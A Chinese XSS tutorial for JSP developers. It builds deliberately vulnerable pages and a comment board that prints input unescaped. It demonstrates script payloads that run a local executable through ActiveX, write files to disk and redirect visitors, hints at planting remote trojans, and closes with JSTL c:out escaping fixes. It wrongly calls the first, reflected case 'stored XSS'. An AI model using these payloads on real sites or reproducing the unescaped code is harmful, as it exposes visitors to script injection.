JSP安全开发之XSS漏洞详解

2019-11-26 13:50:15

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来源：转载

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前言

大家好，好男人就是我，我就是好男人，我就是-0nise。在各大漏洞举报平台，我们时常会看到XSS漏洞。那么问题来了，为何会出现这种漏洞？出现这种漏洞应该怎么修复？

正文

1.XSS？XSS？XSS是什么鬼？

XSS又叫跨站脚本攻击(Cross Site Scripting)，我不会告诉他原本是叫CSS的，但是为了不和我们所用的层叠样式表(Cascading Style Sheets)CSS搞混。CSS(跨站脚本攻击),CSS(层叠样式表)傻傻分不清。所以就叫XSS咯。

2.XSS的危害是什么？

实验一：

0x00构造代码

<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%><%String path = request.getContextPath();String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";%><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html> <head> <base href="<%=basePath%>"> <title>My JSP 'index.jsp' starting page</title>  <meta http-equiv="pragma" content="no-cache">  <meta http-equiv="cache-control" content="no-cache">  <meta http-equiv="expires" content="0">   <meta http-equiv="keywords" content="keyword1,keyword2,keyword3">  <meta http-equiv="description" content="This is my page"> </head> <body> <div style="margin: 0 auto"> <%//设置编码   request.setCharacterEncoding("UTF-8");//接收用户传入值   String tmp = request.getParameter("opr");   //减速传入值是否为空   if(tmp == null){     out.print("111");   }else{     //转码     String opr = new String(tmp.getBytes("ISO-8859-1"),"utf-8");     out.print(opr);   } %>   我是内容 </div> </body></html>

0x01环境布局

0x02漏洞演练

我们访问:http://localhost:8080/XSS/index.jsp?opr=i%E6%98%A5%E7%A7%8B

然后访问:http://localhost:8080/XSS/index.jsp?opr=0nise

最后我们发现了一个“伟大的规律”：

opr参数等于什么页面就打印什么。（好像是废话）

我们接着来加载一个图片看看

访问:http://localhost:8080/XSS/index.jsp?opr=%3Cimg%20src=%221.png%22%3E%3C/img%3E

既然图片都可以加载，那么我们JS文件是不是也阔以加载呢？

访问：http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Ealert(/i%E6%98%A5%E7%A7%8B%E7%A4%BE%E5%8C%BA%E6%AC%A2%E8%BF%8E%E5%A4%A7%E5%AE%B6/)%3C/script%3E

Js？Js？那么是不是可以来改变跳转后地址？

访问：http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Elocation.href=%27http://bbs.ichunqiu.com%27%3C/script%3E

既然xss都可以加载js，那么，我们是不是通过js来打开本地的某些东西？

提前放了一个MD5.exe文件

访问：http://localhost:8080/XSS/index.jsp?opr=<script> var objShell = new ActiveXObject("wscript.shell");objShell.Run("G:/work/XSS/WebRoot/Md5.exe");</script>

既然连本地文件都可以打开那么远程文件木马？来个电脑恶搞？这个自己慢慢象限。我可没说啊。。。。。

文件都可以打开，那么写一些文件呢？

访问：http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Evar%20fso,tf;fso%20=%20new%20ActiveXObject(%22Scripting.FileSystemObject%22);tf%20=%20fso.CreateTextFile(%22d://test.txt%22,true);tf.WriteLine(%22i%E6%98%A5%E7%A7%8B%E7%A4%BE%E5%8C%BA%E6%AC%A2%E8%BF%8E%E6%82%A8%22);tf.Close();alert(%22%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%88%90%E5%8A%9F%EF%BC%81%22);%3C/script%3E

通过以上实验我们可以看出opr参数赋值操作。如果opr参数没有值的话，就无法执行执行，被攻击者必须访问攻击者提前设计好的才能攻击。这种XSS攻击方式叫做:存储型XSS

如果你想看到更给力的实验，请接着往下看。

实验二：

前言：

大部分网站都会和数据打交道那么，XSS漏洞出现这些网站是什么样子的？

0x00构造代码

数据库部分

BaseDao.java

import java.sql.Connection;import java.sql.DriverManager;import java.sql.PreparedStatement;import java.sql.ResultSet;import java.sql.SQLException;import java.sql.Statement;public class BaseDAO {  //打开连接  public Connection getConn(){    Connection conn = null;    try {      Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver");      conn = DriverManager.getConnection("jdbc:sqlserver://localhost:1433;databaseName=SQLTMP","sa","sa");    } catch (ClassNotFoundException e) {      e.printStackTrace();    } catch (SQLException e) {      e.printStackTrace();    }     return conn;  }     //关闭链接的方法  public void closeAll(Connection conn,Statement stat,ResultSet rs){    try {      if(rs != null)        rs.close();      if(stat != null)        stat.close();      if(conn != null)        conn.close();           } catch (SQLException e) {      e.printStackTrace();    }  }  //重载关闭方法  public void closeAll(Connection conn,PreparedStatement pstat,ResultSet rs){    try {      if(rs != null)        rs.close();      if(pstat != null)        pstat.close();      if(conn != null)        conn.close();           } catch (SQLException e) {      e.printStackTrace();    }  }  //继续重载  public void closeAll(Connection conn,PreparedStatement pstat){    try {      if(pstat != null)        pstat.close();      if(conn != null)        conn.close();    } catch (SQLException e) {      e.printStackTrace();    }  }  //增删改的公用方法  public int upDate(String sql,Object[] pram){         PreparedStatement pstat = null;    Connection conn = null;    int a = 0;         try {      conn = getConn();      pstat =conn.prepareStatement(sql);      //遍历参数集合，将集合中的参数对应添加到sql语句中      for (int i = 1; i <= pram.length; i++) {        pstat.setObject(i, pram[i-1]);      }      //调用方法      a = pstat.executeUpdate();           } catch (SQLException e) {      e.printStackTrace();    }finally{      closeAll(conn, pstat);    }    return a;  }}

CommentDao.java

import java.sql.*;import java.util.*;import entity.*;public class CommentDao extends BaseDAO {  /**   * 获取所有留言   * */  public List<comm> GetComment(){    //SQL语句    String sql = "SELECT CID,CName,CContext FROM Comments";    List<comm> list = new ArrayList<comm>();    //数据库连接对象    Connection conn = null;    //SQL执行对象    PreparedStatement pstmt = null;    //数据库执行返回值    ResultSet rs = null;    try {      //创建数据库链接      conn = this.getConn();      //创建SQL执行对象      pstmt = conn.prepareStatement(sql);      //执行SQL语句  返回值      rs = pstmt.executeQuery();      //读取      while (rs.next()) {        comm comment = new comm();        comment.setCID(rs.getInt("CID"));        comment.setCName(rs.getString("CName"));        comment.setCContext(rs.getString("CContext"));        list.add(comment);      }    } catch (Exception e) {      e.printStackTrace();    }finally{      //关闭      this.closeAll(conn, pstmt, rs);    }    return list;  }  public int AddComment(comm comment){    String sql = "INSERT INTO Comments VALUES(?,?)";    //受影响行数    int result = 0;      //数据库连接对象    Connection conn = null;    //SQL执行对象    PreparedStatement pstmt = null;    try {      //创建数据库链接      conn = this.getConn();      //创建SQL执行对象      pstmt = conn.prepareStatement(sql);      //设置参数      pstmt.setString(1, comment.getCName());      pstmt.setString(2, comment.getCContext());      //执行SQL语句      result = pstmt.executeUpdate();    } catch (Exception e) {      e.printStackTrace();    }finally{      this.closeAll(conn, pstmt);    }    return result;  }}

CommentServlvet

import java.io.*;import javax.servlet.*;import javax.servlet.http.*;import entity.*;public class CommentServlvet extends HttpServlet {  /**   * doGet()   */  public void doGet(HttpServletRequest request, HttpServletResponse response)      throws ServletException, IOException {    request.setCharacterEncoding("UTF-8");    response.setContentType("text/html;charset=UTF-8");    PrintWriter out = response.getWriter();    String opr = request.getParameter("opr");    CommentDao commentDao = new CommentDao();    //检索参数是否为空    if(opr == null || opr.equals("all")){      request.setAttribute("all", commentDao.GetComment());      //转发      request.getRequestDispatcher("comment.jsp").forward(request, response);    }else if (opr.equals("add")){      comm comment = new comm();      comment.setCName(request.getParameter("UName"));      comment.setCContext(request.getParameter("context"));      if(commentDao.AddComment(comment) > 0){        out.print("<script>alert('留言成功');location.href='CommentServlvet?opr=all';</script>");      }else{        out.print("<script>alert('留言失败');location.href='CommentServlvet?opr=all';</script>");      }    }else{      request.setAttribute("all", commentDao.GetComment());      //转发      request.getRequestDispatcher("comment.jsp").forward(request, response);    }    out.flush();    out.close();  }   /**   * doPost()   */  public void doPost(HttpServletRequest request, HttpServletResponse response)      throws ServletException, IOException {    doGet(request, response);  }}

Comment.jsp

<%@ page language="java" import="java.util.*,entity.*" pageEncoding="UTF-8"%><%String path = request.getContextPath();String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";%><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html> <head> <base href="<%=basePath%>"> <title>My JSP 'comment.jsp' starting page</title>  <meta http-equiv="pragma" content="no-cache">  <meta http-equiv="cache-control" content="no-cache">  <meta http-equiv="expires" content="0">   <meta http-equiv="keywords" content="keyword1,keyword2,keyword3">  <meta http-equiv="description" content="This is my page"> </head> <body> <%   request.setCharacterEncoding("UTF-8");   if(request.getAttribute("all") == null){     request.getRequestDispatcher("CommentServlvet?opr=all").forward(request, response);   } %> <table> <%   List<entity.comm> list = (List<entity.comm>)request.getAttribute("all");    for(int i = 0; i < list.size(); i++ ){ %>     <tr>     <td><%=list.get(i).getCName() %></td>     <td><%=list.get(i).getCContext() %></td>     </tr>     <%   } %> </table> <form action="CommentServlvet?opr=add" method="post">   <textarea rows="5" cols="30" name="context"></textarea>   昵称:<input type="text" name="UName" />   <input type="submit" value="提交" /> </form> </body></html>

0x01漏洞实验

root@1~#

我们在留言板留言：

<script> var objShell = new ActiveXObject("wscript.shell");objShell.Run("G:/work/XSS/WebRoot/Md5.exe");</script>

然后访问:http://localhost:8080/XSS/comment.jsp

这样只要访问这个页面，软件就自动打开了，来个远程文件？慢慢领悟。

root@2~#

我们在留言板留言：

复制代码代码如下:

<script>var fso,tf;fso = new ActiveXObject("Scripting.FileSystemObject");tf = fso.CreateTextFile("d://test.txt",true);tf.WriteLine("i春秋社区欢迎您");tf.Close();alert("文件写入成功！");</script>

然后访问: http://localhost:8080/XSS/comment.jsp

文件写入成功。

root@3~#

留言内容:

[code]<script>location.href='http://bbs.ichunqiu.com'</script>[code]

访问页面:http://localhost:8080/XSS/comment.jsp

访问留言页面自动跳转到攻击者特定的网站。难道这就是传说中的劫持吗？

3.XSS防御方案

正所谓哪里有攻击，哪里就有防御。XSS一样，有攻击的方式，也有防御的方案。

EL表达式+JSTL标签库

EL（Expression Language）：[size=12.0000pt]为了使JSP写起来更简单。表达式语言的灵感来自于ECMAScript和XPath表达式语语言，他提供了JSP中简化表达式的方法，让jsp代码更简单。

JSTL（JSP Standard Tag Library):开放源代码的JSP标签库。

实验一防御代码：

<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%><%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %><%String path = request.getContextPath();String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";%><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html> <head> <base href="<%=basePath%>">  <title>My JSP 'index.jsp' starting page</title>  <meta http-equiv="pragma" content="no-cache">  <meta http-equiv="cache-control" content="no-cache">  <meta http-equiv="expires" content="0">   <meta http-equiv="keywords" content="keyword1,keyword2,keyword3">  <meta http-equiv="description" content="This is my page"> </head> <body> <div style="margin: 0 auto"> <%   request.setCharacterEncoding("UTF-8");   String tmp = request.getParameter("opr");   //减速传入值是否为空   if(tmp == null){     out.print("111");   }else{     //转码     String opr = new String(tmp.getBytes("ISO-8859-1"),"utf-8");     request.setAttribute("name", opr);     %>     <c:out value="${requestScope.name }"></c:out>     <%   } %>   我是内容 </div> </body></html>

实验二防御代码：

<%@ page language="java" import="java.util.*,entity.*" pageEncoding="UTF-8"%><%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %><%String path = request.getContextPath();String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";%>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html> <head> <base href="<%=basePath%>"> <title>My JSP 'comment.jsp' starting page</title>  <meta http-equiv="pragma" content="no-cache">  <meta http-equiv="cache-control" content="no-cache">  <meta http-equiv="expires" content="0">   <meta http-equiv="keywords" content="keyword1,keyword2,keyword3">  <meta http-equiv="description" content="This is my page"> </head> <body> <%   request.setCharacterEncoding("UTF-8");   if(request.getAttribute("all") == null){     request.getRequestDispatcher("CommentServlvet?opr=all").forward(request, response);   } %> <table><!-- 防御XSS方案 --> <c:forEach var="x" items="${requestScope.all }"> <tr>   <td>   <c:out value="${x.getCName() }"></c:out>   </td>   <td>   <c:out value="${x.getCContext() }"></c:out>   </td> </tr> </c:forEach> </table> <form action="CommentServlvet?opr=add" method="post">   <textarea rows="5" cols="30" name="context"></textarea>   昵称:<input type="text" name="UName" />   <input type="submit" value="提交" /> </form> </body></html>